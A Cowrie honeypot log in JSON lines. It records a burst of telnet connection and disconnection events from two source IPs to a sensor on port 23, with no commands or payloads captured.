{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44304,"dst_ip":"10.17.0.5","dst_port":23,"session":"87e1475b1a43","protocol":"telnet","message":"New connection: 64.237.60.107:44304 (10.17.0.5:23) [session: 87e1475b1a43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:33.254759Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44306,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0e998c224fc","protocol":"telnet","message":"New connection: 64.237.60.107:44306 (10.17.0.5:23) [session: b0e998c224fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:33.357129Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44308,"dst_ip":"10.17.0.5","dst_port":23,"session":"fee539a746cb","protocol":"telnet","message":"New connection: 64.237.60.107:44308 (10.17.0.5:23) [session: fee539a746cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:33.797325Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44310,"dst_ip":"10.17.0.5","dst_port":23,"session":"c34fd5ae2df5","protocol":"telnet","message":"New connection: 64.237.60.107:44310 (10.17.0.5:23) [session: c34fd5ae2df5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:34.066349Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44314,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cfee6ba0a36","protocol":"telnet","message":"New connection: 64.237.60.107:44314 (10.17.0.5:23) [session: 5cfee6ba0a36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:34.146625Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44322,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebd9cd676ee1","protocol":"telnet","message":"New connection: 64.237.60.107:44322 (10.17.0.5:23) [session: ebd9cd676ee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:34.453717Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44334,"dst_ip":"10.17.0.5","dst_port":23,"session":"a93c17612ed0","protocol":"telnet","message":"New connection: 64.237.60.107:44334 (10.17.0.5:23) [session: a93c17612ed0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:34.543165Z"}
{"eventid":"cowrie.session.closed","duration":31.508641481399536,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:34.928288Z","src_ip":"64.237.60.107","session":"a8291aa63d5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44336,"dst_ip":"10.17.0.5","dst_port":23,"session":"27e9d6231126","protocol":"telnet","message":"New connection: 64.237.60.107:44336 (10.17.0.5:23) [session: 27e9d6231126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:34.944014Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44342,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e2d2964cba7","protocol":"telnet","message":"New connection: 64.237.60.107:44342 (10.17.0.5:23) [session: 2e2d2964cba7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:35.128095Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44358,"dst_ip":"10.17.0.5","dst_port":23,"session":"80278d955d41","protocol":"telnet","message":"New connection: 64.237.60.107:44358 (10.17.0.5:23) [session: 80278d955d41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:35.286727Z"}
{"eventid":"cowrie.session.closed","duration":31.040165901184082,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:35.304273Z","src_ip":"64.237.60.107","session":"ef5a14636d49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44374,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecb314d1d09d","protocol":"telnet","message":"New connection: 64.237.60.107:44374 (10.17.0.5:23) [session: ecb314d1d09d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:35.352793Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44388,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ed7887304d1","protocol":"telnet","message":"New connection: 64.237.60.107:44388 (10.17.0.5:23) [session: 9ed7887304d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:35.471160Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44394,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2312baeaebb","protocol":"telnet","message":"New connection: 64.237.60.107:44394 (10.17.0.5:23) [session: c2312baeaebb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:35.629253Z"}
{"eventid":"cowrie.session.closed","duration":31.59364366531372,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:35.834841Z","src_ip":"45.77.199.58","session":"71f4039e933c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44404,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0fff22f92be","protocol":"telnet","message":"New connection: 64.237.60.107:44404 (10.17.0.5:23) [session: a0fff22f92be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:36.097098Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44420,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d974fe7809f","protocol":"telnet","message":"New connection: 64.237.60.107:44420 (10.17.0.5:23) [session: 4d974fe7809f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:36.339816Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44448,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d56c676b559","protocol":"telnet","message":"New connection: 64.237.60.107:44448 (10.17.0.5:23) [session: 6d56c676b559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:36.396323Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44434,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c99ee39323a","protocol":"telnet","message":"New connection: 64.237.60.107:44434 (10.17.0.5:23) [session: 8c99ee39323a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:36.401853Z"}
{"eventid":"cowrie.session.closed","duration":31.398722887039185,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:36.484631Z","src_ip":"64.237.60.107","session":"609f83d15446","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":52878,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e94a311f25c","protocol":"telnet","message":"New connection: 45.77.199.58:52878 (10.17.0.5:23) [session: 0e94a311f25c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:36.556331Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43076,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c594ca5063c","protocol":"telnet","message":"New connection: 64.237.60.107:43076 (10.17.0.5:23) [session: 7c594ca5063c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:36.687739Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43086,"dst_ip":"10.17.0.5","dst_port":23,"session":"576a87f65009","protocol":"telnet","message":"New connection: 64.237.60.107:43086 (10.17.0.5:23) [session: 576a87f65009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:36.916525Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43092,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c10830c25ef","protocol":"telnet","message":"New connection: 64.237.60.107:43092 (10.17.0.5:23) [session: 6c10830c25ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:37.017427Z"}
{"eventid":"cowrie.session.closed","duration":30.830726385116577,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:37.049630Z","src_ip":"64.237.60.107","session":"4197e78b9ab5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43102,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4b3f2d2bb72","protocol":"telnet","message":"New connection: 64.237.60.107:43102 (10.17.0.5:23) [session: a4b3f2d2bb72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:37.123096Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43104,"dst_ip":"10.17.0.5","dst_port":23,"session":"050151af57e1","protocol":"telnet","message":"New connection: 64.237.60.107:43104 (10.17.0.5:23) [session: 050151af57e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:37.154393Z"}
{"eventid":"cowrie.session.closed","duration":30.925513744354248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:37.162166Z","src_ip":"64.237.60.107","session":"ccd2a52d0d38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.393499612808228,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:37.249568Z","src_ip":"64.237.60.107","session":"48f2b298d8cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.197447299957275,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:37.258031Z","src_ip":"45.77.199.58","session":"9a62328b2113","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43108,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cb8c83220cd","protocol":"telnet","message":"New connection: 64.237.60.107:43108 (10.17.0.5:23) [session: 0cb8c83220cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:37.431211Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43118,"dst_ip":"10.17.0.5","dst_port":23,"session":"48f24c7306a5","protocol":"telnet","message":"New connection: 64.237.60.107:43118 (10.17.0.5:23) [session: 48f24c7306a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:37.568685Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43134,"dst_ip":"10.17.0.5","dst_port":23,"session":"c866860a85af","protocol":"telnet","message":"New connection: 64.237.60.107:43134 (10.17.0.5:23) [session: c866860a85af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:37.573850Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43136,"dst_ip":"10.17.0.5","dst_port":23,"session":"352b251febe1","protocol":"telnet","message":"New connection: 64.237.60.107:43136 (10.17.0.5:23) [session: 352b251febe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:37.634460Z"}
{"eventid":"cowrie.session.closed","duration":31.60006546974182,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:37.705133Z","src_ip":"64.237.60.107","session":"07a9200a7aee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43152,"dst_ip":"10.17.0.5","dst_port":23,"session":"f13453995877","protocol":"telnet","message":"New connection: 64.237.60.107:43152 (10.17.0.5:23) [session: f13453995877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:38.160080Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43154,"dst_ip":"10.17.0.5","dst_port":23,"session":"34655635a909","protocol":"telnet","message":"New connection: 64.237.60.107:43154 (10.17.0.5:23) [session: 34655635a909]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:38.177740Z"}
{"eventid":"cowrie.session.closed","duration":31.184921264648438,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:38.335446Z","src_ip":"64.237.60.107","session":"18fae756c1c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43158,"dst_ip":"10.17.0.5","dst_port":23,"session":"e970728f2e7a","protocol":"telnet","message":"New connection: 64.237.60.107:43158 (10.17.0.5:23) [session: e970728f2e7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:38.484549Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43164,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f373039d4ec","protocol":"telnet","message":"New connection: 64.237.60.107:43164 (10.17.0.5:23) [session: 7f373039d4ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:38.551035Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43168,"dst_ip":"10.17.0.5","dst_port":23,"session":"c21ca8b8a8a2","protocol":"telnet","message":"New connection: 64.237.60.107:43168 (10.17.0.5:23) [session: c21ca8b8a8a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:38.564037Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43174,"dst_ip":"10.17.0.5","dst_port":23,"session":"f62b4b5f842b","protocol":"telnet","message":"New connection: 64.237.60.107:43174 (10.17.0.5:23) [session: f62b4b5f842b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:38.601559Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43184,"dst_ip":"10.17.0.5","dst_port":23,"session":"7828fe832e02","protocol":"telnet","message":"New connection: 64.237.60.107:43184 (10.17.0.5:23) [session: 7828fe832e02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:38.692761Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43200,"dst_ip":"10.17.0.5","dst_port":23,"session":"161c4f0d5501","protocol":"telnet","message":"New connection: 64.237.60.107:43200 (10.17.0.5:23) [session: 161c4f0d5501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:39.017635Z"}
{"eventid":"cowrie.session.closed","duration":30.425349950790405,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:39.033953Z","src_ip":"45.77.199.58","session":"b72635fd1693","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":52884,"dst_ip":"10.17.0.5","dst_port":23,"session":"f88d85c4c906","protocol":"telnet","message":"New connection: 45.77.199.58:52884 (10.17.0.5:23) [session: f88d85c4c906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:39.147601Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43204,"dst_ip":"10.17.0.5","dst_port":23,"session":"c46f3ebece0d","protocol":"telnet","message":"New connection: 64.237.60.107:43204 (10.17.0.5:23) [session: c46f3ebece0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:39.213581Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43212,"dst_ip":"10.17.0.5","dst_port":23,"session":"52ad39f5ed73","protocol":"telnet","message":"New connection: 64.237.60.107:43212 (10.17.0.5:23) [session: 52ad39f5ed73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:39.376491Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43220,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb9239e75efe","protocol":"telnet","message":"New connection: 64.237.60.107:43220 (10.17.0.5:23) [session: bb9239e75efe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:40.044881Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43228,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b7fd5c1cec1","protocol":"telnet","message":"New connection: 64.237.60.107:43228 (10.17.0.5:23) [session: 6b7fd5c1cec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:40.087487Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43230,"dst_ip":"10.17.0.5","dst_port":23,"session":"03ec243bf74e","protocol":"telnet","message":"New connection: 64.237.60.107:43230 (10.17.0.5:23) [session: 03ec243bf74e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:40.152138Z"}
{"eventid":"cowrie.session.closed","duration":31.14310121536255,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:40.243465Z","src_ip":"45.77.199.58","session":"e399014ff9f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43242,"dst_ip":"10.17.0.5","dst_port":23,"session":"a14bcbdf9e81","protocol":"telnet","message":"New connection: 64.237.60.107:43242 (10.17.0.5:23) [session: a14bcbdf9e81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:40.263006Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43250,"dst_ip":"10.17.0.5","dst_port":23,"session":"650b2f8e538e","protocol":"telnet","message":"New connection: 64.237.60.107:43250 (10.17.0.5:23) [session: 650b2f8e538e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:40.777816Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":52894,"dst_ip":"10.17.0.5","dst_port":23,"session":"39c83adb393a","protocol":"telnet","message":"New connection: 45.77.199.58:52894 (10.17.0.5:23) [session: 39c83adb393a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:40.877632Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43252,"dst_ip":"10.17.0.5","dst_port":23,"session":"267989b25336","protocol":"telnet","message":"New connection: 64.237.60.107:43252 (10.17.0.5:23) [session: 267989b25336]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:40.949333Z"}
{"eventid":"cowrie.session.closed","duration":30.84262704849243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:41.052497Z","src_ip":"64.237.60.107","session":"d2089797ab10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43262,"dst_ip":"10.17.0.5","dst_port":23,"session":"df26226dba2b","protocol":"telnet","message":"New connection: 64.237.60.107:43262 (10.17.0.5:23) [session: df26226dba2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:41.187014Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43266,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d2536680890","protocol":"telnet","message":"New connection: 64.237.60.107:43266 (10.17.0.5:23) [session: 0d2536680890]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:41.210690Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43268,"dst_ip":"10.17.0.5","dst_port":23,"session":"a655f3251c77","protocol":"telnet","message":"New connection: 64.237.60.107:43268 (10.17.0.5:23) [session: a655f3251c77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:41.395422Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43282,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b8362fb318c","protocol":"telnet","message":"New connection: 64.237.60.107:43282 (10.17.0.5:23) [session: 8b8362fb318c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:41.467564Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43296,"dst_ip":"10.17.0.5","dst_port":23,"session":"c787808aa912","protocol":"telnet","message":"New connection: 64.237.60.107:43296 (10.17.0.5:23) [session: c787808aa912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:41.767856Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43306,"dst_ip":"10.17.0.5","dst_port":23,"session":"82671daccaa7","protocol":"telnet","message":"New connection: 64.237.60.107:43306 (10.17.0.5:23) [session: 82671daccaa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:41.863539Z"}
{"eventid":"cowrie.session.closed","duration":30.965396404266357,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:42.164540Z","src_ip":"45.77.199.58","session":"f16460c539d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43312,"dst_ip":"10.17.0.5","dst_port":23,"session":"199bf87b3e01","protocol":"telnet","message":"New connection: 64.237.60.107:43312 (10.17.0.5:23) [session: 199bf87b3e01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:42.169590Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43314,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f55885f78f6","protocol":"telnet","message":"New connection: 64.237.60.107:43314 (10.17.0.5:23) [session: 5f55885f78f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:42.258591Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43330,"dst_ip":"10.17.0.5","dst_port":23,"session":"96a37d2fc5ae","protocol":"telnet","message":"New connection: 64.237.60.107:43330 (10.17.0.5:23) [session: 96a37d2fc5ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:42.458637Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43346,"dst_ip":"10.17.0.5","dst_port":23,"session":"8adbf7cb406f","protocol":"telnet","message":"New connection: 64.237.60.107:43346 (10.17.0.5:23) [session: 8adbf7cb406f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:42.464025Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43360,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ff374aa0735","protocol":"telnet","message":"New connection: 64.237.60.107:43360 (10.17.0.5:23) [session: 2ff374aa0735]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:42.497043Z"}
{"eventid":"cowrie.session.closed","duration":31.33311939239502,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:42.608177Z","src_ip":"64.237.60.107","session":"51801bd1aab7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43368,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3287de6a2fd","protocol":"telnet","message":"New connection: 64.237.60.107:43368 (10.17.0.5:23) [session: f3287de6a2fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:42.617200Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43372,"dst_ip":"10.17.0.5","dst_port":23,"session":"eae1e4bc4952","protocol":"telnet","message":"New connection: 64.237.60.107:43372 (10.17.0.5:23) [session: eae1e4bc4952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:42.684459Z"}
{"eventid":"cowrie.session.closed","duration":31.609835147857666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:42.692580Z","src_ip":"45.77.199.58","session":"b1a30d7686c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43386,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6851828ae0b","protocol":"telnet","message":"New connection: 64.237.60.107:43386 (10.17.0.5:23) [session: b6851828ae0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:42.864969Z"}
{"eventid":"cowrie.session.closed","duration":30.576250314712524,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:43.024594Z","src_ip":"64.237.60.107","session":"83423aef7504","protocol":"telnet"}
